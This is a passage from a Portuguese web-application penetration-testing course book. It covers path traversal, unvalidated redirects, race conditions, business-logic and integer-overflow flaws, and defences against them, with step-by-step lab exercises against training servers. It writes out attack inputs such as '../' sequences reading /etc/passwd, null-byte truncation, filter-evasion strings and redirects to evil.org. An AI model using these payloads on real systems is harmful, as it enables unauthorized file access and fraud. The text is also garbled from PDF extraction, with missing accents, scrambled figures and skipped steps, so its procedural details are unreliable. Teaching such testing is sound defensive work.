../../../../../../../../../../../../etc/passwd
A razo deste mtodo funcionar reside no fato de que alguns sistemas operacionais substituem a repetio de ../ pela raiz do sistema de arquivos, quando o percurso passa desse ponto. Isso pode ser observado na Figura 8.8 e Figura 8.9, para os sistemas Linux e Windows, respectivamente.
Figura 8.8 Percurso de caminho em Linux que passaria da raiz.
C:\> cd C:\
C:\>dir \temp /w O volume na unidade C no tem nome. O Nmero de srie do volume 5059-23D3
Teste de Invaso de Aplicaes Web
Pasta de C:\temp
[.] [Security]
[..]
Hash.bat
Hash.class
2 arquivo(s) 3 pasta(s)
380
C:\>dir ..\..\..\..\..\..\..\..\temp /w O volume na unidade C no tem nome. O nmero de srie do volume 5059-23D3
Pasta de C:\temp
[.]
[..]
Hash.bat
[Security]
2 arquivo(s) 3 pasta(s)
Outra tcnica que pode ser til, para verificar a possvel existncia da vulnerabilidade em uma aplicao baseada em Windows, consiste em enviar alguns passos de caminho invlidos, mas cancelados imediatamente por ocorrncias de ../. Se o arquivo especificado ao fim desse valor for exibido normalmente, h uma boa chance de que o caminho tenha sido passado sem tratamento para o sistema de arquivos, indicando a presena do defeito. Um exemplo desse comportamento pode ser visto na Figura 8.10.
Pasta de C:\Temp
2 arquivo(s) 3 pasta(s)
C:\>dir este\caminho\nao\existe\..\..\..\.. /w O volume na unidade C no tem nome. O nmero de srie do volume 5059-23D3
Pasta de C:\Temp
Figura 8.10 Percurso por subdiretrios inexistentes.
[.]
[..]
Hash.bat
Hash.class
[Security]
381
[.]
[..]
Hash.bat
Hash.class
[Security]
2 arquivo(s) 3 pasta(s)
Considere-se agora uma aplicao ligeiramente diferente daquela do cenrio original, a qual adiciona uma extenso de arquivo, como no exemplo a seguir:
$arquivo = /var/arquivos/.$nome..txt;
Se o atacante fornecer a mesma entrada maliciosa, utilizada inicialmente, obtmos o caminho /var/arquivo/../../etc/passwd.txt, cujo valor cannico /etc/passwd.txt. Claramente, a explorao deixa de funcionar, salvo se for possvel comentar, de alguma maneira, tudo que aparecer aps o valor introduzido. Uma possibilidade se apresenta quando o nome de arquivo passado a uma funo em cdigo nativo, que utiliza o caractere nulo para delimitar o final de uma cadeia de caracteres. Por exemplo, considere-se que o cdigo de uma aplicao PHP para exibio de arquivos do tipo texto seja o representado na Figura 8.11:
$f=$_GET[f];
$file = files/.$f..txt;
../../../../../etc/passwd%00
O seguinte comando de sistema operacional executado pela funo popen():
cat files/../../../../../etc/passwd\0.txt
O que faz com que tudo aps passwd seja desconsiderado, resultando na exibio do arquivo /etc/passwd.
Teste de Invaso de Aplicaes Web
De modo a evitar o ataque de percurso de caminho, alguns desenvolvedores tentam higienizar a entrada, em uma nica passagem, em vez de simplesmente rejeit-la (Stuttard e Pinto, 2007). Nesses casos, possvel fornecer as sequncias de caminho dentro delas mesmas, como se v nos dois exemplos abaixo, para evadir o filtro utilizado pela aplicao:
1 ....// 1 ....\\
382
Por fim, para testar se uma aplicao vulnervel a ataques de percurso de caminho, o seguinte roteiro pode ser empregado em um teste de invaso:
1. Para cada item de entrada identificado na fase de mapeamento: 1.1.Selecione aqueles que parecem fornecer um nome de arquivo. 1.2.Se o nome completo de arquivo especificado, incluindo a extenso:
1.2.1. Submeta o nome de um arquivo que se sabe existir no ambiente, precedido de uma longa sequncia de ../. 1.2.2. Se o arquivo no for exibido, tente outros candidatos, dependendo da mensagem de erro fornecida. 1.2.3. Se no, a aplicao vulnervel a percurso de caminho.
1.3.Se no:
1.3.1. Submeta o nome de um arquivo que se sabe existir no ambiente, precedido de uma longa sequncia de ../ e finalizado com %00. 1.3.2. Se o arquivo no for exibido, tente outros candidatos, dependendo da mensagem de erro fornecida. Pode ser que a evaso com %00 no seja aplicvel e o teste deva ser encerrado. 1.3.3. Se no, a aplicao vulnervel a percurso de caminho.
Redirecionamento no validado
Redirecionamento uma tcnica que permite instruir o navegador web a carregar outra pgina, aps a originalmente requisitada, podendo ser utilizado, por exemplo, para evitar a quebra de links, quando um recurso movido para um lugar diferente. Embora, muitas vezes, isso ocorra dentro de um mesmo domnio, tambm possvel realizar o processo para domnios diferentes. Em qualquer um dos casos, a barra de endereos do navegador web atualizada, para pode ser realizada tanto no lado do servidor quanto do cliente, com resultados similares. No primeiro caso, a ideia consiste em devolver ao navegador web uma mensagem com
cdigo de estado 3XX, seguido de um cabealho Location:, especificando a nova URL. Essa abordagem, que pode ser atendida de maneira programtica ou por meio da configurao
htaccess Arquivo, aceito por muitos servidores web, que permite redefinir quaisquer itens da configurao principal, para os diretrios em que esteja presente. Originalmente, era mais restrito, tendo apenas o propsito de definir privilgios de acesso por diretrio.
do arquivo .htaccess, faz com que uma requisio seja efetuada para o novo endereo informado. Se o cdigo fornecido for o 301 (Moved Permanently), solicitaes subsequentes para o recurso original so substitudas, pelo prprio navegador web, para a URL fornecida no redirecionamento. Do lado cliente, um dos mtodos de redirecionamento envolve o uso dometa-taRefres, disponvel na linguagem HTML:
383
a funcionalidade fornecida pelo boto Retornar. Isso acontece porque, ao carregar a pgina anterior, que contm o marcador em questo, o navegador redireciona o usurio novamente para a pgina especificada, impedindo, assim, o retorno. Outro mecanismo disponvel no lado cliente do sistema consiste em utilizar cdigo Javascript, mais especificamente a funo location.replace(), da maneira ilustrada a seguir:
O qual, se clicado, causaria um redirecionamento parahttp://www.evil.or, uma vez que o valor malicioso do parmetro url concatenado ao cabealhoLocatio. Com o intuito de corrigir o problema, a equipe de desenvolvimento pode incluir o seguinte filtro, que verifica se a URL contm o nome de domnio esperado:
384
http://www.evil.org?u=http://esr.rnp.br/
Outra tentativa de solucionar a vulnerabilidade consiste em adicionar o nome de domnio correto, como prefixo, ao valor do parmetro fornecido pelo usurio:
.evil.org
Resultando no redirecionamento para o domnioesr.rnp.br.evil.or. Para finalizar esta seo, os passos que podem ser seguidos em um teste, para detectar este
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
no servidor. Neste ltimo caso, isso pode ser feit, observando-se se a resposta contm um cdigo de estado 3XX.
1.2.Substitua o valor dos itens encontrados, um por vez, pelo nome de um recurso do
servidor que se saiba existir. Se o redirecionamento ocorrer para o elemento escolhido, a aplicao sofre da vulnerabilidade.
1.3.Repita o passo anterior, mas especificando uma URL absoluta para outro domnio.
Se a pgina especificada for carregada, a aplicao tambm pode ser usada para redirecionamentos externos.
385
Condies de corrida
Condies de corrida so conhecidas h muito tempo (Netzer e Miller, 1992) e ocorrem quando processos que so executados concorrentemente manipulam recursos compartilhados, sem o uso de mecanismos de sincronizao. Como resultado direto deste problema, programas podem apresentar comportamento inesperado, o qual, na maioria das vezes, difcil de ser reproduzido e depurado. Para melhor compreender a situao, considere-se o pseudocdigo ilustrado na Figura 8.12,
tendo em mente que a notao [...]BD denota a manipulao de valores em um banco de dados.
x = x val; [saldo]BD = x;
Figura 8.12 Cdigo sujeito a condies de corrida.
P#2 # linha x v [saldo]BD 100 100 100 100 100 50 50 50 50 100 100 100 30 04 50 50 50
Figura 8.13 Resultado da execuo concorrente de duas instncias do cdigo da Figura 8.12.
04
30
70
04
Alguns impactos segurana decorrentes de condies de corrida, que podem ser citados, incluem a violao de autenticao, a adulterao da lgica de negcio do sistema e a quebra do mecanismo de autorizao e de outros controles. Alguns exemplos reais, no escopo de aplicaes web, podem ser encontrados no estudo realizado por Paleari et al. (2008) sobre o assunto, no qual, tambm, propm tcnicas para
deteco dinmica do problema. Note-se, contudo, que a melhor abordagem para esse fim ainda consiste na inspeo do cdigo fonte da aplicao.
386
Por exemplo, para realizar o pagamento de um boleto bancrio, o saldo disponvel em conta somado ao limite concedido pela instituio financeira ao cliente deve ser suficiente, para cobrir a despesa. Erros de codificao da regra ou na lgica estabelecida podem resultar em vulnerabilidades, que podem ser exploradas com os mais diversos objetivos. Neste contexto, a seguinte lista de casos reais apresentada por Grossman (2007):
1 Mac World 2007 Expo cdigos prioritrios de cinco caracteres podiam ser utilizados, no
processo de registro online, para se conseguir iseno da taxa de inscrio. Devido ao volume de participantes, para evitar trfego de rede e processamento desnecessrios, uma lista de hashes dos cdigos vlidos era enviada ao cliente, para verificao local, antes da submisso. Como apenas letras maisculas e nmeros eram permitidos e devido ao pequeno tamanho, qual permitiu que inmeras pessoas participassem gratuitamente do evento.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
a construo de um dicionrio que traduzia cdigos para hashes era totalmente factvel, o
1 Competio simulada de bolsa de valores o objetivo do desafio era apontar os participantes com as carteiras mais rentveis, aps dez rodadas de uma semana cada, os quais, alm de concorrerem a dez mil dlares por vez, poderiam participar da final, que distribua um prmio de um milho de dlares. O processo de compra de aes no jogo era composto por dois passos: o primeiro consistia na seleo de papis e especificao de cotas e, o segundo, na confirmao ou desistncia da transao. As vulnerabilidades apresentadas pelo simulador resumiam-se em permitir executar a segunda etapa, aps o fechamento dirio do mercado, e a manter o preo do momento da reserva. Com isso, vrios pedidos podiam ser realizados, ao longo do dia, mas somente os papis lucrativos seriam confirmados e adicionados carteira.
1 Vinte e um neste jogo de cartas, tambm conhecido por blackjack, ganha aquele cuja
soma das cartas chega mais prximo de vinte e um, sem, contudo, exceder este valor. Cada uma das figuras (dama, valete e reis) vale dez, o s, um ou onze, conforme for mais conveniente, e as demais, o prprio nmero estampado. Nos cassinos, quando a carta aberta da mesa um s, um seguro opcional deve ser oferecido aos jogadores, para o caso de a outra carta valer dez. Em uma verso online do jogo, havia um atraso perceptvel na oferta de segur, sempre que a carta fechada era favorvel mesa. Com essa informao adicional, os usurios conseguiam aumentar as chances de ganho monetrio.
387
Como possvel observar pelos cenrios apresentados, erros desse tipo decorrem da adoo de algumas premissas equivocadas, alm de serem difceis de detectar. Nas prximas subsees, mais dois exemplos sero discutidos.
if ($amount > $balanceA) { $message = $prefix.Valor solicitado é maior que o saldo.; goto error; } $balanceA = $balanceA - $amount; $balanceB = $balanceB + $amount;
Observe-se que, se um valor maior que o saldo for solicitado, uma mensagem de erro definida e nenhuma transferncia realizada. Caso contrrio, o montante subtrado da conta original ($balanceA) e somado conta destino ($balanceB). Aps realizar diversos testes que reforaram a correo do caso de uso, a equipe liberou a funcionalidade para produo. Porm, ataques nunca ocorrem seguindo-se casos documentados, mas, sim, fluxos inesperados de execuo. Com isto em mente, o que acontece se o cliente fornecer um valor negativo para transferncia? Analisando o cdigo, novamente, percebe-se que isso no seria barrado pelo if, pois qualquer nmero negativo menor que um positivo. Como resultado, ao contrrio do esperado, o valor creditado conta de origem e debitado da outra. A causa raiz da vulnerabilidade, neste cenrio, resume-se na validao incorreta de entrada, a qual no pode ser negativa.
assumir valores de -2n-1 a 2n-1-1. Um fato imediato que pode ser constatado que nem sempre o resultado de algumas operaes caber na mesma quantidade de bits. Por exemplo, considere-se n=8, o que permite representar inteiros de -128 a 127. Neste cenrio, as seguintes expresses ilustram casos que resultam em valores fora da faixa permitida:
388
Figura 8.14 Extravasamento de inteiro: (a) 100 + 30. (b) 100 * 2. (c) 100 * 8.
Considere-se, agora, outra aplicao bancria que concede um limite de crdito, para cada cliente, e que o emprstimo pode ser feito por meio de uma aplicao web. Para evitar que um valor maior que o permitido seja solicitado, o seguinte trecho de cdigo executado:
if (limiteUsado + valorEmprestimo <= limiteMaximo) { // Concede o emprstimo valorConta = valorConta + valorEmprestimo; } else { // Exibe mensagem de erro }
Note-se nesse cenrio que, diferentemente do exemplo da seo anterior, no adianta fornecer um valor de emprstimo negativo, pois isso resultaria na diminuio do montante em conta, ao invs do que se quer obter. Por outro lado, se o valor solicitado somado ao limite j usado for maior que o disponibilizado, a transao impedida e uma mensagem de erro, exibida. Como um usurio malicioso poderia, ento, subverter o controle instalado? Para ilustrar o ataque, assuma-se que limiteUsado, valorEmprestimo e limiteMaximo sejam inteiros de 16 bits, que armazenam, respectivamente, 8000, 0 e 10000, e que valorConta um inteiro de 32 bits, contendo 0. Sabendo do problema de extravasamento de inteiros, um usurio malicioso pode fornecer, para valorEmprestimo, o nmero 30000, que extrapola o limite de crdito concedido, mas faz a expresso limiteUsado + valorEmprestimo <= limiteMaximo ser avaliada como -27536 <= 10000, ou seja, verdadeira. Isso ocorre porque nmeros sinalizados de 16 bits no podem representar o valor 38000. A soluo para o problema consiste em, antes de realizar operaes que possam resultar em extravasamento de inteiros, converter os operandos para um tipo maior e s ento efetuar o clculo e tomar decises.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
389
Contramedidas
As seguintes contramedidas devem ser adotadas, para evitar a ocorrncia das vulnerabilidades que afetam o mecanismo de autorizao e a lgica de negcio da aplicao (Stuttard e Pinto, 2007; Meucci et al., 2008):
1 O mecanismo de autorizao deve ser invocado, imediatamente antes de uma operao ser realizada, respeitando-se os requisitos de um monitor de referncias.
1 Nunca use o cabealho HTTP Referer para controlar o acesso s pginas da aplicao,
pois ele pode facilmente ser forjado pelo usurio.
1 No use o servidor web para fornecer, diretamente, recursos estticos que sejam sensveis. Em vez disso, crie um monitor de referncias, que seja invocado, sempre que um usurio do sistema tentar acess-los.
1 Quando a aplicao precisar manipular arquivos especificados por usurios: 2 Valide o nome de arquivo fornecido pelo usurio, por meio de tcnicas de lista
branca. Isso impedir que caracteres para percurso de caminho sejam utilizados.
2 Garanta que todo arquivo manipulado esteja dentro do diretrio alocado para
esse propsito.
2 Considere executar a aplicao dentro de um chroot. 2 Utilize funes que sejam binariamente seguras, isto , que no atribuam semntica especial para alguns caracteres, como o nulo, por exemplo.
Teste de Invaso de Aplicaes Web
chroot Consiste em uma funcionalidade provida por alguns sistemas operacionais, que permite fazer com que um subdiretrio seja visto, por um processo e seus filhos, como sendo a raiz do sistema de arquivos.
1 Sempre que possvel, utilize links diretos para os diversos recursos, em vez de uma
pgina de redirecionamento.
1 Quando o redirecionamento for necessrio: 2 Verifique se a URL do recurso de destino pertence a uma lista de valores permitidos. 2 No defina a URL do recurso de destino com base em dados que sejam controlados por usurios.
390
2 Se em algum caso muito especial for necessrio usar dados fornecidos por usurios, para definio da URL do recurso de destino, adicione no incio dela o protocolo e o nome de domnio esperados, com uma barra (/) no final. Alm disso, aplique a tcnica de lista branca, para validar o parmetro a ser concatenado.
391
392
Roteiro de Atividades 8
Atividade 1 Acesso direto a recursos
Esta atividade tem por objetivo ilustrar as diversas tcnicas que podem ser usadas para acesso direto a recursos. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute o roteiro na primeira delas.
19. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 20. Clique em Visualizar arquivos. 21. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 22. Clique em Funo Administrativa #2. 23. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 24. Clique em Operao no privilegiada. 25. Clique em Encerrar sesso.
393
http://bssac.esr.rnp.br/oper2.php
27. O acesso foi permitido? Clique em Retornar pgina de login. 28. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/oper5.php
29. O acesso foi permitido? Clique em Retornar pgina de login. 30. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login. 31. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/oper2.php
32. O que acontece?
33. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 34. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/oper5.php
35. O que acontece?
43. Acesse a janela do Tamper Data e clique na primeira requisio. 44. Observe o valor do cabealho Referer, na parte inferior do lado esquerdo da janela. 45. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 46. Clique em Funo Administrativa #1. 47. Volte janela do Tamper Data e clique na requisio cuja URL contm oper2.php. 48. Anote o valor do cabealho Referer. 49. Retorne ao Firefox e clique em Encerrar sesso.
394
http://bssac.esr.rnp.br/admin/oper2.php
51. O que acontece?
52. Clique em Retornar pgina de login. 53. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/
54. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login. 55. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/admin/oper2.php
56. Foi possvel acessar a pgina?
57. Na janela do Tamper Data, clique em Start Tamper. 58. No Firefox, clique no cone para recarregar a pgina. 59. Clique em Tamper, na janela que aparece. 60. Clique com o boto direito na parte esquerda da janela e, em seguida, em Add element. 61. Digite Referer e clique em Ok. 62. Substitua o valor de Referer para http://bssac.esr.rnp.br/admin/menu.php e clique em Ok. 63. Foi possvel acessar a funcionalidade?
64. Clique em Encerrar sesso. 65. Na janela que aparece, desmarque Continue Tampering? e clique em Submit. 66. Feche a janela do Tamper Data.
68. Acesse http://bssac.esr.rnp.br/ 69. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login. 70. Clique no link Caixa de mensagens. 71. Clique na mensagem M#1 para visualiz-la. 72. Observe a barra de endereos do navegador web. 73. Clique em Encerrar sesso. 74. Fornea esruser e esruser para os campos Usurio e Senha, respectivamente, e clique
em Login. 395
75. Clique em Caixa de mensagens. 76. Clique na mensagem M#1 para visualiz-la. 77. Observe a barra de endereos do navegador web. 78. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 79. Clique na mensagem M#2 para visualiz-la. 80. Observe a barra de endereos do navegador web. 81. Clique em Encerrar sesso. 82. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bssac.esr.rnp.br/view.php?mid=3
83. O que acontece?
84. Clique em Retornar pgina de login. Digite guest e guest nos campos Usurio e Senha,
http://bssac.esr.rnp.br/view.php?mid=1
86. Foi possvel ver a mensagem de outro usurio? 87. Repita o Passo 86, variando o valor do parmetro mid de 2 a 8. 88. Clique em Encerrar sesso.
http://bssac.esr.rnp.br/files/cat.txt
96. Foi possvel acessar o arquivo, mesmo no estando autenticado? Explique por que isso
possvel.
97. Tente acessar as demais URLs anotadas no Passo 91. 98. Encerre o Firefox.
396
10. Clique em Ok. 11. Pressione Ctrl + U para visualizar o cdigo HTML. 12. Analise o cdigo Javascript e os formatos dos links. 13. Feche a janela de cdigo HTML. 14. No Firefox, clique em Encerrar sesso. 15. Digite admin e admin nos campos Usurio e Senha, respectivamente, e clique em Login. 16. Passe o mouse sobre os links e veja a URL de cada um deles. 17. Clique em Funo Administrativa #1 e veja a URL na barra de endereos. 18. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 19. Clique em Visualizar arquivos e veja a URL na barra de endereos. 20. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 21. Pressione Ctrl + U para visualizar o cdigo HTML. 22. Analise o cdigo Javascript e os formatos dos links. O que difere do visto no Passo 12?
Captulo 8 - Roteiro de Atividades
397
23. Feche a janela de cdigo HTML. 24. No Firefox, clique em Encerrar sesso. 25. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bcsac.esr.rnp.br/js/oper2.php
26. O que acontece?
27. Clique em Retornar pgina de login. 28. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login. 29. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bcsac.esr.rnp.br/js/oper2.php
30. O acesso foi concedido? Onde se encontra a falha?
35. Clique em Caixa de mensagens. 36. Passe o mouse sobre os links e veja a URL de cada um deles. Existe uma diferena funda-
mental entre essas URLs e as do Passo 34, do ponto de vista de um ataque. Qual ?
37. Altere a URL na barra de endereos do navegador, adicionando as entradas abaixo, uma
&adm=Y &adm=S
Teste de Invaso de Aplicaes Web
398
39. Altere a barra de endereos para a URL abaixo e clique na seta verde:
http://bcsac.esr.rnp.br/oper1.php?uid=admin
40. O que aconteceu?
42. Acesse o WebGoat clicando no cone na barra de atalhos. 43. Fornea guest e guest como credenciais e clique em Ok. 44. Clique em Start WebGoat. 45. Clique em Admin Functions e observe as funes disponveis. 46. Clique em Access Control Flaws e, em seguida, em Remote Admin Access. 47. Repita o Passo 37, mas, adicionalmente, clique em Admin Functions, a cada interao, para
de proteo utilizado?
8. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 9. Clique no link para a RFC 2821. 10. Observe a URL na barra de endereos e os valores dos parmetros f e t. Que esquema
de proteo utilizado?
11. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 12. Clique no link para a RFC 959.
399
14. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 15. Suponha a existncia do arquivo ylonen.2006.txt. Como seria a URL para acess-lo,
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
6. O ataque de percurso de caminho funciona?
fielding.1999.txt%00abcdef
8. O arquivo original foi exibido normalmente? Justifique o resultado.
9. Repita o Passo 5, mas usando o valor abaixo, para ver o cdigo fonte de view.php:
..%2Fview.php
400
10. Acesse http://path.esr.rnp.br/index2.php 11. Passe o mouse sobre os links e observe atentamente as URLs na barra de estado.
12. Clique no link para a RFC 2616 e observe a barra de endereos do navegador web. 13. Altere, na barra de endereos, o valor do parmetro f para o seguinte:
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
14. O ataque funcionou? Qual seria o motivo do resultado obtido?
15. Repita o Passo 13, mas adicionando um caractere nulo codificado (%00) ao final do valor. 16. O que aconteceu agora? Justifique o resultado.
12. No WebScarab, verifique as requisies realizadas e as respostas fornecidas. 13. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 14. Clique em Redirecionamento por meio de Javascript. 15. No WebScarab, verifique as requisies realizadas e as respostas fornecidas. 16. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 17. Clique em Redirecionamento por meio de .htaccess. 18. No WebScarab, verifique as requisies realizadas e as respostas fornecidas.
401
19. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 20. Clique em Redirecionamento no validado #1. 21. No WebScarab, verifique as requisies realizadas e as respostas fornecidas.
22. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 23. Clique com o boto direito sobre Redirecionamento no validado #1 e selecione Copy Link
Location.
24. Selecione a barra de endereos e cole a URL, pressionando Ctrl + V. 25. Altere o valor do parmetro url para http://www.evil.org e clique na seta verde. 26. A aplicao vulnervel a redirecionamento no validado?
27. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 28. Clique em Redirecionamento no validado #2. 29. No WebScarab, verifique as requisies realizadas e as respostas fornecidas.
30. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 31. Clique com o boto direito sobre Redirecionamento no validado #2 e selecione Copy Link
Location.
32. Selecione a barra de endereos e cole a URL, pressionando Ctrl + V. 33. Altere o valor do parmetro target para .evil.org e clique na seta verde. 34. A aplicao vulnervel a redirecionamento no validado?
35. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 36. Clique em Redirecionamento no validado #3. 37. No WebScarab, verifique as requisies realizadas e as respostas fornecidas.
38. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior. 39. Clique com o boto direito sobre Redirecionamento no validado #3 e selecione Copy Link
Location.
40. Selecione a barra de endereos e cole a URL, pressionando Ctrl + V. 41. Observe atentamente a URL e as partes que a compem. 42. Altere o valor do parmetro url para http://www.evil.org e clique na seta verde. 43. O ataque funcionou? Procure explicar o resultado.
402
46. Clique no Multiproxy Switch, na barra de estado, e selecione None. 47. Encerre o WebScarab. 48. Encerre o Firefox. 49. Inicie o Google Chrome, presente no menu Aplicativos\Internet. 50. Acesse http://redir.esr.rnp.br/ 51. Clique em Redirecionamento por meio de meta-tag Refresh e espere ser redirecionado. 52. Clique no boto Retornar. O que acontece?
Safety Problems.
6. Leia a descrio do exerccio fornecida. 7. Digite jeff em Enter user name. 8. Inicie o Google Chrome, presente no menu Aplicativos\Internet. 9. Acesse o WebGoat, digitando http://webgoat.esr.rnp.br:8080/webgoat/attack na barra
de endereos.
10. Autentique-se com as credenciais guest e guest. 11. Clique em Start WebGoat. 12. No menu presente no lado esquerdo, clique em Concurrency e, em seguida, em Thread
Captulo 8 - Roteiro de Atividades
Safety Problems.
13. Digite dave em Enter user name. 14. Retorne ao Firefox e clique em Submit. 15. Retorne rapidamente ao Google Chrome e clique em Submit.
403
16. Compare as informaes exibidas nos dois navegadores e veja se so do mesmo usurio.
Em caso positivo, o ataque foi efetuado com sucesso. Se no, repita o processo at conseguir.
17. Encerre o Firefox. 18. Encerre o Google Chrome.
em Transferir.
3. Repita o passo 3, mas digitando 2000 no campo Valor da transferncia. 4. Digite -400 no campo Valor da transferncia e clique em Transferir. O que acontece?
e clique em Emprestar.
7. O que acontece?
8. Repita o Passo 8, mas com o valor 12000 em vez de 500. 9. Foi possvel emprestar o montante especificado?
10. Repita o Passo 8, agora, com o valor 9500. 11. Tente emprestar 30000, para causar um possvel extravasamento de inteiro.
12. Olhe a barra de endereos do navegador e identifique a tecnologia utilizada pela aplicao. 13. Abra uma nova janela do Firefox, e procure na internet os tipos primitivos de Java.
Teste de Invaso de Aplicaes Web
14. Anote os maiores valores permitidos para os tipos int e long. 15. Retorne aplicao e tente efetuar um emprstimo com o maior int, anotado no passo
anterior.
16. O ataque foi bem-sucedido?
404
Bibliografia 8
1 ANDERSON, James P. Computer Security technology planning study. Relatrio Tcnico ESDTR-73-51, Air Force Electronic Systems Division, 1972.
1 BISHOP, Matt. Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux.
Technical Report CSE-95-9, Dept. of Computer Science, University of California at Davis, Davis, CA 95616-8562, 1995.
1 GROSSMAN, Jeremiah. Seven Business Logic Flaws That Put Your Website At Risk. WhiteHat
Security Whitepaper, 2007.
1 HOWARD, Michael, LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 NETZER, Robert H. B. e MILLER, Barton P. What are Race Conditions? - Some Issues and
Formalizations. ACM Letters on Programming Languages and Systems, Volume 1, 1992.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
405
Captulo 8 - Bibliografia
406
9
Mecanismos criptogrficos
objetivos
Apresentar tcnicas para identificar problemas de segurana na configurao de canais de comunicao e no uso de mecanismos criptogrficos.
Canal de comunicao com segurana mal configurada, sutes criptogrficas, protocolos proprietrios, BASE64, criptoanlise de cifras clssicas, ndice de coincidncia, chaves embutidas, chaves com baixa entropia, modo de operao inadequado, nvel de segurana de criptossistemas, proteo de senhas.
conceitos
Introduo
A criptografia moderna est presente no nosso cotidiano de maneira profusa, em protocolos de comunicao, caixas eletrnicos, telefonia celular, proteo de software e de contedo, urnas eletrnicas e TV digital, dentre inmeros outros exemplos. Em sistemas de informao, quando todos os demais mecanismos so quebrados e os dados, extrados da base de dados, a proteo criptogrfica compreende a ltima barreira para evitar que o sigilo das informaes sensveis seja violado. Considerando o estado da arte dessa cincia, possvel, atualmente, realizar um timo trabalho nesse sentido, evitando que os dados caiam em mos indesejadas. Infelizmente, porm, a implantao de mecanismos criptogrficos requer diversos cuidados, que, na grande maioria das vezes, no so observados, comprometendo a segurana da soluo como um todo. No mnimo, os seguintes aspectos devem ser considerados:
1 Uso de primitivas criptogrficas adequadas para cada situao. 1 Emprego de bibliotecas que contenham implementaes corretas dos criptossistemas
adotados.
1 Gerenciamento das chaves criptogrficas, sobretudo os processos de gerao, distribuio e armazenamento. O resultado obtido por uma equipe liderada por Marc Stevens (Stevens, 2009) um bom exemplo de como as coisas podem dar muito errado, quando as melhores prticas no so seguidas. Neste trabalho, que recebeu o prmio de melhor artigo da conferncia Crypto 2009, os autores descreveram um mtodo para criar um certificado digital vlido, porm
407
falsificado, de uma autoridade certificadora intermediria. O ataque baseou-se nas vulnerabilidades encontradas na funo MD5 (Wang e Yu, 2005) e no fato de que, na ocasio, algumas autoridades certificadoras ainda assinavam os certificados com o algoritmo RSA + MD5, alm de possurem processos descuidados de comprovao de identidade do solicitante. Adicionalmente, foi necessria muita engenhosidade para que as pr-condies fossem satisfeitas, e uma boa dose de poder computacional, fornecida por uma grade de 200 Sony PlayStation 3. A gravidade do exemplo acima que o ataque tornou possvel forjar certificados digitais, reconhecidos por navegadores e clientes web, para qualquer pessoa ou entidade. No contexto de aplicaes web, esta possibilidade, quando agregada a um ataque de redirecionamento, permite realizar uma personificao perfeita de um servidor, isto , conexes SSL ou TLS sem advertncia de problema no certificado utilizado. A origem do problema foi o uso por algumas autoridades certificadoras de um algoritmo quebrado, no caso o MD5, contrariando o clamor da comunidade criptolgica. A soluo, por sua vez, depende da revogao dos certificados razes das autoridades problemticas, o que realizado por meio da atualizao dos navegadores web. Mas qual a porcentagem de usurios que regularmente atualizam os softwares que utilizam? A resposta desta pergunta deveras preocupante! Considerando os problemas expostos, o objetivo do presente captulo discutir as inmeras vulnerabilidades que podem ocorrer no transporte e armazenamento de informaes. Com isso em mente, os tpicos cobertos so: verso vulnervel de SSL, emprego de sutes criptogrficas fracas, problemas com o certificado digital, acesso a domnio no verificado, uso de protocolos proprietrios, identificao e quebra de cifras clssicas, recuperao de chaves embutidas no cdigo, gerao de chaves com baixa entropia, utilizao de modo de operao inadequado, uso incorreto de algoritmos criptogrficos, mistura de algoritmos com nveis de segurana diferentes, uso de algoritmos criptogrficos com fraquezas conhecidas, proteo de senhas de usurio e proteo de dados de cartes de pagamento.
408
factvel e, para piorar ainda mais a situao, ainda h os que acreditam que o uso de HTTPS, por si s, suficiente para tornar uma aplicao web segura!
Saiba mais
